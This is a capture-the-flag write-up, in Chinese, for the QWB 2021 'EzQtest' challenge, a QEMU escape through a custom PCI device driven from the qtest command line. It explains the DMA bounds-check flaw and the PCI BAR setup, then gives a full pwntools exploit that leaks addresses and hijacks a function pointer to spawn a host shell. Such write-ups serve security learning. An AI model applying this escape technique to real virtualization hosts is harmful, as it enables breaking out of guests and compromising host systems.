Mid Station

[QWB2021 Quals] - EzQtest

第五届强网杯的虚拟化系列题目,EzQtest 2解477分。这题赛后第二天才完成。承接EzCloud,有意思的才刚刚开始。
整个学期都在搞毕业论文,答辩结束后能解决这样一道大题,有种在水下憋气很久,突然能浮出水面大口呼吸的畅快感觉。

Recon

回顾上一问的post handler,在伪造登录信息以后可以使用vm系列操作,其中createvm会调用nc 127.0.0.1 6666并建立管道,之后通过connetvm向管道读写命令。而6666端口是附件中launch.sh启动的qemu服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall post_handler(request *a1)
{
if ( a1->path.sz == 6LL && !memcmp(a1->path.buf, "/login", 6uLL) )
return do_login(a1);
if ( a1->path.sz == 7LL && !memcmp(a1->path.buf, "/logout", 7uLL) )
return do_logout(a1);
if ( a1->path.sz == 9LL && !memcmp(a1->path.buf, "/createvm", 9uLL) )
return do_createvm(a1);
if ( a1->path.sz == 10LL && !memcmp(a1->path.buf, "/connectvm", 0xAuLL) )
return do_connectvm(a1);
if ( a1->path.sz == 8LL && !memcmp(a1->path.buf, "/closevm", 8uLL) )
return do_closevm(a1);
if ( a1->path.sz == 8LL && !memcmp(a1->path.buf, "/notepad", 8uLL) )
return do_notepad(a1);
return html_404((__int64)a1);
}

launsh.sh启动的qemu服务和以前见过的都不同,这里启动了一个qtest命令行,提供了内存读写相关的命令,具体可以参考QTest Device Emulation Testing Framework

1
./qemu-system-x86_64  -display  none -machine  accel=qtest -m  512M -device  qwb -nodefaults -monitor none -qtest  stdio

用apt安装缺少的依赖库之后就可以进入qtest的命令行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@matthew-Virtual-Machine:/pwn# ./launch.sh
[I 1623743050.286546] OPENED
clock_step
[R +3.476847] clock_step
OK 27462700
[S +3.476909] OK 27462700
writeq 0 0x1234
[R +13.033245] writeq 0 0x1234
OK
[S +13.037377] OK
readq 0
[R +15.940001] readq 0
OK 0x0000000000001234
[S +15.940060] OK 0x0000000000001234

为了验证远程的逻辑是否和我们设想的一致,我先写了exp中的交互接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def createvm(login_id):
payload = "POST /createvm HTTP/1.1\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
payload += "\r\n"
se(payload)
time.sleep(0.1)
ru("</html>")

def connectvm(login_id, cmd=""):
payload = "POST /connectvm HTTP/1.1\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
payload += "Content-Length: 65535\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "\r\n"
payload += cmd
se(payload)
time.sleep(0.1)
ru("</html>")

def send_cmd(cmd):
payload = "POST /foo HTTP/1.1\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: 65535\r\n"
payload += "\r\n"
payload += urlencode(cmd + "\n") # 结尾要加"\n",不可见字符需要urlencode
se(payload)
time.sleep(0.1)
content = ru("</html>")
content = re.search(r"<p>(.*)<\/p>",content, re.M|re.S).group(1).strip()
value = re.search(r"OK ([^\s]*)", content)
if value:
return value.group(1)
else:
return content

本地启动时用ncat将stdio转发到6666端口,但是测试发现和远程的返回内容不一致。后来发现是ncat没有将stderr也转发到tcp端口,之后找到一条socat转发的命令,可以将stdout和stderr同时转发到tcp端口。

1
2
#!/bin/sh
socat TCP4-LISTEN:6666,reuseaddr,fork EXEC:"./launch.sh",stderr

完成配置以后就能够通过EzCloud的binary和qemu服务正常交互了。

QEMU设备逆向

在启动命令的提示下,很容易就能在qemu-system-x86_64里面找到qwb设备的具体实现,qwb设备设置了一个mmio接口。

1
2
3
4
5
6
7
8
void __cdecl pci_qwb_realize(PCIDevice_0 *pdev, Error_0 **errp)
{
_QWORD qwb; // [rsp+18h] [rbp-8h]

qwb = QWB(pdev);
memory_region_init_io(&qwb->mmio, &qwb->pdev.qdev.parent_obj, &qwb_mmio_ops, qwb, "qwb-mmio", 0x100000uLL);
pci_register_bar(pdev, 0, 0, &qwb->mmio);
}

qwb_mmio_readqwb_mmio_write部分switch语句ida分析不出来,逻辑不复杂直接看汇编代码也能看懂。但是这里推荐一波binary ninja,反编译功能越来越强了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
uint64_t qwb_mmio_read(struct qwb_state* arg1, int64_t arg2, int32_t arg3)
uint64_t var_18 = -1
uint64_t rax_1
if (arg3 != 8)
rax_1 = -1
else
if (arg2 u<= 0x30)
switch (arg2)
case 0
var_18 = zx.q(arg1->dma_using)
case 8
if (arg1->dma_info_size == 0)
var_18 = zx.q(arg1->dma_idx)
case 0x10
if (arg1->dma_info_size == 0 && arg1->dma_idx u<= 0x1f)
var_18 = *(arg1 + ((zx.q(arg1->dma_idx) + 0x50) << 5)) // src
case 0x18
if (arg1->dma_info_size == 0 && arg1->dma_idx u<= 0x1f)
var_18 = *(arg1 + ((zx.q(arg1->dma_idx) + 0x50) << 5) + 8) // dst
case 0x20
if (arg1->dma_info_size == 0 && arg1->dma_idx u<= 0x1f)
var_18 = *(arg1 + (zx.q(arg1->dma_idx) << 5) + 0xa10) // cnt
case 0x28
if (arg1->dma_info_size == 0 && arg1->dma_idx u<= 0x1f)
var_18 = *(arg1 + (zx.q(arg1->dma_idx) << 5) + 0xa18) // cmd
case 0x30
if (arg1->dma_info_size == 0)
qwb_do_dma(arg1)
var_18 = 1
rax_1 = var_18
return rax_1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct qwb_state* qwb_mmio_write(struct qwb_state* arg1, int64_t arg2, struct qwb_state* arg3, int32_t arg4)
struct qwb_state* rax = arg1
struct qwb_state* var_10 = rax
if (arg4 == 8 && arg2 u<= 0x28)
rax = sx.q(jump_table_a7e7ac[arg2]) + &jump_table_a7e7ac
switch (rax)
case 0x389216
if (arg3 u<= 0x20)
rax = var_10
rax->dma_using = arg3.d
case 0x389236
rax = zx.q(var_10->dma_info_size)
if (rax.d == 0 && arg3 u<= 0x1f)
rax = var_10
rax->dma_idx = arg3.d
case 0x389268
rax = zx.q(var_10->dma_info_size)
if (rax.d == 0)
rax = zx.q(var_10->dma_idx)
if (rax.d u<= 0x1f)
rax = arg3
*(((zx.q(var_10->dma_idx) + 0x50) << 5) + var_10) = rax // src
case 0x3892b4
rax = zx.q(var_10->dma_info_size)
if (rax.d == 0)
rax = zx.q(var_10->dma_idx)
if (rax.d u<= 0x1f)
rax = arg3
*(var_10 + ((zx.q(var_10->dma_idx) + 0x50) << 5) + 8) = rax // dst
case 0x389304
rax = zx.q(var_10->dma_info_size)
if (rax.d == 0)
rax = zx.q(var_10->dma_idx)
if (rax.d u<= 0x1f)
rax = arg3
*(var_10 + (zx.q(var_10->dma_idx) << 5) + 0xa10) = rax // cnt
case 0x389350
rax = zx.q(var_10->dma_info_size)
if (rax.d == 0)
rax = zx.q(var_10->dma_idx)
if (rax.d u<= 0x1f)
rax = var_10 + (zx.q(var_10->dma_idx) << 5) + 0xa18 // cmd
rax->__offset(0x0).q = zx.q(arg3.d & 1)
return rax

主要结构体如下:

1
2
3
4
5
6
7
8
9
10
struct QWBState
{
PCIDevice_0 pdev;
MemoryRegion_0 mmio;
uint32_t_0 dma_info_size;
uint32_t_0 dma_info_idx;
uint32_t_0 dma_using;
dma_state dma_info[32];
char dma_buf[4096];
};

逻辑还是比较简单的,我们可以通过mmio设置dma_info的src,dst,cnt,cmd(读写方向),然后触发qwb_do_dma完成dma的读写操作。问题就是出在qwb_do_dma函数中。这里的问题是先检查所有dma_info的越界再进行操作,而检查的循环逻辑也不严谨,可以导致利用前面dma_info来改写后面的dma_info,到执行后面dma_info的时候就可以完成越界读写操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void __cdecl qwb_do_dma(QWBState_0 *opaque)
{
_QWORD idx; // [rsp+10h] [rbp-10h]
_QWORD idxa; // [rsp+10h] [rbp-10h]

opaque->dma_using = 1;
for ( idx = 0LL; idx < opaque->dma_info_size; ++idx )
{
if ( opaque->dma_info[idx].cmd ) // device -> address_space
{
if ( opaque->dma_info[idx].src + opaque->dma_info[idx].cnt > 0x1000 || opaque->dma_info[idx].cnt > 0x1000 )
goto end;
}
else if ( opaque->dma_info[idx].dst + opaque->dma_info[idx].cnt > 0x1000 || opaque->dma_info[idx].cnt > 0x1000 )
{ // address_space -> device
goto end;
}
}
for ( idxa = 0LL; idxa < opaque->dma_info_size; ++idxa )
{
if ( opaque->dma_info[idxa].cmd )
pci_dma_write_3( // device -> address_space
&opaque->pdev,
opaque->dma_info[idxa].dst,
&opaque->dma_buf[opaque->dma_info[idxa].src],
opaque->dma_info[idxa].cnt);
else
pci_dma_read_3(
&opaque->pdev, // address_space -> device
opaque->dma_info[idxa].src,
&opaque->dma_buf[opaque->dma_info[idxa].dst],
opaque->dma_info[idxa].cnt);
}
end:
opaque->dma_using = 0;
}

例如我们可以将idx=0的dma_info设置为:{ src = 0x40000, dst = -0x20, cnt = 0x20, cmd = 1 } 并且在虚拟机0x40000地址上布局好一个越界读写的dma_info, 这里可以随意填写src和cnt构造任意读:{ src = -0x2000, dst = 0x41000, cnt = 0x1000, cmd = 0 }任意写也同理。这样在执行完idx=0的dma_info之后,idx=31的dma_info就会填上0x41000处布局好的dma_info。按照这样的原理可以进行任意地址读写操作。

DMA逻辑

为了方便读者理解题目DMA操作的逻辑,这里补充一张图。
首先我们可以通过qtest命令行对Guest的内存地址进行任意读写。在设备被正常初始化的情况下,Guest内存会分配出一段专门处理mmio的内存,通过对mmio段操作我们可以设置QWBState中的dma_info信息以及触发qwb_do_dma操作。qwb_do_dma是Guest和Host通信的管道,本意是提供对dma_buf区域内存的读写功能。但是由于上面提到的漏洞,我们可以实现对Host(qemu-system-x86_64进程)的任意地址读写,进而执行任意命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──────────────────────┐                  ┌──────────────────────┐
│ Guest Address │ │ qemu-system-x86_64 │
│ │ │ │
│ │ │ │
│ │ │ │
│ │ │ │
│ │ ├──────────────────────┤
│ │ │ heap │
│ │ │ │
│ │ ├┬────────────────────┬┤
│ │ ││ QWBState ││
├──────────────────────┤ ││ ││
│ qwb-mmio │ │┼────────────────────┼│
│ │ ││ dma_info ││
│ │ qwb_do_dma │┼────────────────────┼│
│ │◄────────────────►├│ dma_buf ││
├──────────────────────┤ ├┴────────────────────┴┤
│ │ │ │
│ │ ├──────────────────────┤
│ │ │ │
│ │ │ │
└──────────────────────┘ └──────────────────────┘

PCI设备初始化

理清楚题目的目标和运行逻辑以后,接下来最重要的问题就是找到mmio的地址。
之前QEMU逃逸类型的题目都是在Linux系统下进行操作,mmio可以通过类似/sys/devices/pci0000:00/0000:00:04.0/resource1的路径来操作,但是在qtest命令行下要怎么操作呢。
第一个想法是以为mmio地址是qemu给我们分配好的,我们只需要通过命令找到正确的地址即可。于是我查找到了关于qemu monitor的用法,将launch.sh修改为:

1
./qemu-system-x86_64  -display  none -machine  accel=qtest -m  512M -device  qwb -nodefaults -monitor telnet:127.0.0.1:4444,server,nowait -qtest  stdio

这样qemu启动以后会开启4444端口到monitor,我们可以用nc连接上4444端口对qemu进行管理操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@matthew-Virtual-Machine:/pwn# nc 127.0.0.1 4444
QEMU 6.0.50 monitor - type 'help' for more information
(qemu) info pci
info pci
Bus 0, device 0, function 0:
Host bridge: PCI device 8086:1237
PCI subsystem 1af4:1100
id ""
Bus 0, device 1, function 0:
ISA bridge: PCI device 8086:7000
PCI subsystem 1af4:1100
id ""
Bus 0, device 1, function 1:
IDE controller: PCI device 8086:7010
PCI subsystem 1af4:1100
BAR4: I/O at 0xffffffffffffffff [0x000e].
id ""
Bus 0, device 1, function 3:
Bridge: PCI device 8086:7113
PCI subsystem 1af4:1100
IRQ 0, pin A
id ""
Bus 0, device 2, function 0:
Class 0255: PCI device 2021:0612
PCI subsystem 1af4:1100
BAR0: 32 bit memory at 0xffffffffffffffff [0x000ffffe].
id ""

可以看到device对应的应该就是qwb设备(观察device id可知),但是这里看不出来我们想要的mmio地址是什么;还可以试试info qtree命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
(qemu) info qtree
info qtree
bus: main-system-bus
type System
dev: hpet, id ""
gpio-in "" 2
gpio-out "" 1
gpio-out "sysbus-irq" 32
timers = 3 (0x3)
msi = false
hpet-intcap = 4 (0x4)
hpet-offset-saved = true
mmio 00000000fed00000/0000000000000400
dev: ioapic, id ""
gpio-in "" 24
version = 32 (0x20)
mmio 00000000fec00000/0000000000001000
dev: i440FX-pcihost, id ""
pci-hole64-size = 2147483648 (2 GiB)
short_root_bus = 0 (0x0)
x-pci-hole64-fix = true
x-config-reg-migration-enabled = true
bus: pci.0
type PCI
dev: qwb, id ""
addr = 02.0
romfile = ""
romsize = 4294967295 (0xffffffff)
rombar = 1 (0x1)
multifunction = false
x-pcie-lnksta-dllla = true
x-pcie-extcap-init = true
failover_pair_id = ""
acpi-index = 0 (0x0)
class Class 00ff, addr 00:02.0, pci id 2021:0612 (sub 1af4:1100)
bar 0: mem at 0xffffffffffffffff [0xffffe]
......

这里直接列出了设备的名字“qwb”,但是还是没有找到mmio地址,尝试向0xffffe附近进行读写操作也无法触发mmio操作。
后来找到了一篇非常重要的文档 https://github.com/GiantVM/doc/blob/master/pci.md。根据文档中总结,初始化PCI设备有以下流程:

  1. 在 do_pci_register_device 中分配内存,对config内容进行设置,如 pci_config_set_vendor_id
  2. 在 pci_e1000_realize 中继续设置config,包括 pci_register_bar 中将BAR base address设置为全f
  3. 由于有ROM(efi-e1000.rom),于是调用 pci_add_option_rom ,注册 PCI_ROM_SLOT 为BAR6
  4. pci_do_device_reset (调用链前面提过) 进行清理和设置
  5. KVM_EXIT_IO QEMU => KVM => VM 后,当VM运行port I/O指令访问config信息时,发生VMExit,VM => KVM => QEMU,QEMU根据 exit_reason 得知原因是 KVM_EXIT_IO ,于是从 cpu->kvm_run 中取出 io 信息,最终调用pci_default_read_config
  6. 设置完config后,在Linux完成了了对设备的初始化后,就可以进行通信了。当VM对映射的内存区域进行访问时,发生VMExit,VM => KVM => QEMU,QEMU根据 exit_reason 得知原因是 KVM_EXIT_MMIO ,于是从 cpu->kvm_run 中取出 mmio 信息,最终调用e1000_mmio_write

根据这个流程,结合断点调试,看来我们的qemu启动只进行到了第4步。要正确完成设备配置还得往BAR写MMIO的地址。文档中还提到q35设备将CONFIG读写操作绑定到了0xcf8和0xcfc的端口。

1
2
3
4
5
6
7
8
9
10
11
12
#define MCH_HOST_BRIDGE_CONFIG_ADDR            0xcf8
#define MCH_HOST_BRIDGE_CONFIG_DATA 0xcfc

static void q35_host_realize(DeviceState *dev, Error **errp)
{
...
sysbus_add_io(sbd, MCH_HOST_BRIDGE_CONFIG_ADDR, &pci->conf_mem);
sysbus_init_ioports(sbd, MCH_HOST_BRIDGE_CONFIG_ADDR, 4);

sysbus_add_io(sbd, MCH_HOST_BRIDGE_CONFIG_DATA, &pci->data_mem);
sysbus_init_ioports(sbd, MCH_HOST_BRIDGE_CONFIG_DATA, 4);
}

在另一份文档:QEMU如何虚拟PCI设备 中也提到了i440fx的类似操作:

1
2
3
4
5
6
7
8
9
10
static void i440fx_pcihost_realize(DeviceState *dev, Error **errp)
{
..
sysbus_add_io(sbd, 0xcf8, &s->conf_mem);
sysbus_init_ioports(sbd, 0xcf8, 4);

sysbus_add_io(sbd, 0xcfc, &s->data_mem);
sysbus_init_ioports(sbd, 0xcfc, 4);
...
}

但是在我们的qwb设备中并没有进行绑定端口的操作,那要如何对BAR进行配置呢?到比赛结束时我仍卡在这个问题,始终无法找到mmio地址。
比赛后第二天,我静下心来重新阅读上面的参考文档,终于理解了初始化逻辑。我们的qwb其实是挂在i440fx-pcihost下面的设备,从info qtree里面可以观察到,这里是一个类似于子类的概念。设备初始化阶段会沿用父类i44fx绑定的端口,其实从第一份文档中的q35机器和e1000网卡关系类别一下这里的i44fx和qwb设备的关系就容易理解了。

总结一下初始化需要操作的步骤:

  1. 将MMIO地址写入qwb设备的BAR0地址
  • 通过0xcf8端口设置目标地址
  • 通过0xcfc端口写值
  1. 将命令写入qwb设备的COMMAND地址,触发pci_update_mappings
  • 通过0xcf8端口设置目标地址
  • 通过0xcfc端口写值

首先我们需要知道qwb设备的地址,根据文档二中的图,我们qwb设备的Bus number为0,Device number为2,Function number为0,得出qwb的地址为0x80001000
device_addrss.pngdevice_addrss.png
再结合设备中寄存器映射图,可以看到BAR0的偏移为0x10,COMMAND的偏移为4。
register_mapregister_map
然后我们需要解决写什么值的问题。MMIO地址我们可以直接拿文档一中的地址0xfebc0000。而COMMAND值的设置就另有说法了,文档二中给出了COMMAND的比特位定义:
command.pngcommand.png
而两份文档的说法都是选择0x103,即设置SERR,Memory space和IO space。然而实际发现要把bit 2也设置上才能正确使用dma,所以最后需要写入的COMMAND为0x107

所以最后初始化阶段需要执行的命令如下:

  1. outl 0xcf8 0x80001010
  2. outl 0xcfc 0xfebc0000
  3. outl 0xcf8 0x80001004
  4. outw 0xcfc 0x107

执行上述命令之后观察pci设备可以看到BAR0已经设置上了0xfeb00000,对该地址进行读写能正确触发MMIO handler的断点。

1
2
3
4
5
6
7
8
(qemu) info pci
info pci
...
Bus 0, device 2, function 0:
Class 0255: PCI device 2021:0612
PCI subsystem 1af4:1100
BAR0: 32 bit memory at 0xfeb00000 [0xfebfffff].
id ""

Exploit

解决MMIO地址问题以后就可以通过DMA操作对qemu内存进行任意地址读写了,具体方法上面已经介绍过。Exploit流程如下:

  1. QWBState->pdev中泄露CODE段地址和QWBState地址
  2. 通过读GOT表泄露libc地址
  3. QWBState+0x460写入gadget地址,覆盖pci_default_read_config指针
  4. inw 3324操作触发read config动作,控pc跳到gadget。

控PC之后如何get shell又是一个令人头大的问题,这里想了很多方法。

Plan A

Plan A是直接将QWBState+0x460写入system@plt地址,然后QWBState+0写入/bin/sh地址,改写掉QWBState+0指针后,执行read config操作时无法找到bus导致流程中断。

Plan B

Plan B是找一个gadget能够通过[rax+off][rdi+off]设置好rdi,然后call一个可控指针,在libc中找到以下的gadget。

1
0x000000001628e5: mov rdi, [rdi+0x8]; push 0x0; lea rcx, [rsi+0x398]; push 0x0; call qword ptr [rax+0x1e0];

这里将QWBState+8设置为/bin/sh地址,将QWBState+0x1e0设置为system@plt地址,将QWBState+0x460写入这条libc+0x1628e5gadget。
如此可以正确触发system("/bin/sh"),问题是调用之后再system流程里面还是报错,卡在movaps xmmword ptr [rsp+0x50],xmm0的地方。如果是rop的话可以通过添加一条ret改变rsp地址来解决问题,但是这里没法改变rsp地址,好像也找不到类似的gadget。

Plan C

利用setcontext gadget。但是libc 2.31版本setcontext改成了rdx来布局,从函数头部来做gadget也是会报错。

Plan D

在qemu-system-x86_64里面找到一条有意思的gadget: 0x3d2f05:lea rdi, "/bin/sh"; call execv
配合libc里面的另一条gadget把可以把rsi设置为0:0x0000000014bd1e: mov rsi, [rbx+0x10]; mov rdx, r12; mov rdi, r14; call qword ptr [rax+0x20];
用这两条gadget能够调用execv("/bin/sh", 0),成功get shell了。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
from pwn import *
import re

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = "debug"
env = {'LD_PRELOAD': ''}

if len(sys.argv) == 1:
p = process('./qemu-system-x86_64 -display none -machine accel=qtest -m 512M -device qwb -nodefaults -monitor telnet:127.0.0.1:5555,server,nowait -qtest stdio'.split())
# p = gdb.debug('./qemu-system-x86_64 -display none -machine accel=qtest -m 512M -device qwb -nodefaults -monitor none -qtest stdio'.split())
elif len(sys.argv) == 3:
p = remote(sys.argv[1], sys.argv[2])


se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

BASE = 0xfebc0000
# write BAR0
sl("outl 3320 {}".format(0x80001000 + 0x10))
sl("outl 3324 {}".format(BASE))
# write commmand update
sl("outl 3320 {}".format(0x80001000 + 4))
sl("outw 3324 {}".format(0x107)) # 0x103 failed

BASE = 0xfeb00000
def set_size(sz):
sl("writeq {} {}".format(BASE, sz))
ru("OK")

def get_size():
sl("readq {}".format(BASE))
ru("OK")

def set_idx(idx):
sl("writeq {} {}".format(BASE+8, idx))
ru("OK")

def get_idx():
sl("readq {}".format(BASE+8))
ru("OK")

def set_src(addr):
sl("writeq {} {}".format(BASE+0x10, addr))
ru("OK")

def set_dst(addr):
sl("writeq {} {}".format(BASE+0x18, addr))
ru("OK")

def set_cnt(num):
sl("writeq {} {}".format(BASE+0x20, num))
ru("OK")

def set_cmd(num):
sl("writeq {} {}".format(BASE+0x28, num))
ru("OK")

def do_dma():
sl("readq {}".format(BASE+0x30))
ru("OK ")
ru("OK ")

# device -> as
def new_write(idx, src, dst, cnt):
set_idx(idx)
set_src(src)
set_dst(dst)
set_cnt(cnt)
set_cmd(1)

# as -> device
def new_read(idx, src, dst, cnt):
set_idx(idx)
set_src(src)
set_dst(dst)
set_cnt(cnt)
set_cmd(0)

def write_as(addr, value):
sl("writeq {} {}".format(addr, value))
ru("OK")

def read_as(addr):
sl("readq {}".format(addr))
ru("OK ")
content = ru("\n")
ru("OK ")
return int(content, 16)

def set_clock(ns):
sl("clock_step {}".format(ns))
ru("OK")

def writeb64(addr, value):
encoded = b64e(value)
sl("b64write {} {} {}".format(addr, len(value), encoded))
ru("OK")

def readb64(addr, sz):
sl("b64read {} {}".format(addr, sz))
ru("OK ")
content = ru("\n")
ru("OK ")
return b64d(content)

def getoff(x):
if x < 0:
return (1 << 64) + x
else:
return x

U = 0x40000
set_size(32)
fake = ""
fake += p64((1<<64)-0xe00) # src
fake += p64(U+0x1000) # dst
fake += p64(0x1000) # cnt
fake += p64(1) #cmd

# leak code
writeb64(U, fake)
new_read(0, U, (1<<64)-32, 32)
do_dma()
content = readb64(U+0x1000, 0x10)
leak_code = uu64(content[8:])
code = leak_code - 0x2d4ec0
info_addr("code", code)
system = code + 0x2d6be0
binsh = code + 0xa70098
# leak heap
leak_heap = read_as(U+0x1000+0xc0)
info_addr("heap", leak_heap)

# leak libc
free_got = code + 0x1110ce0
this_buf = leak_heap + 0xe00
info_addr("free_got", free_got)
info_addr("this_buf", this_buf)
off = getoff(free_got - this_buf)
info_addr("off", off)
fake = ""
fake += p64(off) # dst
fake += p64(U+0x1000) # src
fake += p64(0x8) # cnt
fake += p64(1) #cmd
writeb64(U, fake)
new_read(0, U, (1<<64)-32, 32)
new_read(31, 0, 0, 0)
do_dma()
leak_libc = read_as(U+0x1000)
info_addr("leak_libc", leak_libc)
libc = leak_libc - 0x9d850
info_addr("libc", libc)

# 0x0000000014bd1e: mov rsi, [rbx+0x10]; mov rdx, r12; mov rdi, r14; call qword ptr [rax+0x20];
gadget1 = libc + 0x14bd1e
gadget2 = code + 0x3d2f05 # mov rdi, "/bin/sh"; call execv
info_addr("gadget1", gadget1)
info_addr("gadget2", gadget2)
data = p64(gadget2) + p64(gadget1)
writeb64(U+0x1000, data)

fake = ""
fake += p64(U+0x1000)
fake += p64(getoff(-0xe00 + 0x20)) # rdi+0x20
fake += p64(8)
fake += p64(0)

fake += p64(U+0x1008)
fake += p64(getoff(-0xe00 + 0x460))
fake += p64(8)
fake += p64(0)
writeb64(U, fake)
new_read(0, U, (1<<64)-0x40, 0x40)
new_read(31, 0, 0, 0)
do_dma()

sl("inw 3324") # trigger

p.interactive()

References

  1. https://qemu.readthedocs.io/en/latest/devel/qtest.html
  2. https://github.com/GiantVM/doc/blob/master/pci.md
  3. https://blog.csdn.net/weixin_43780260/article/details/104410063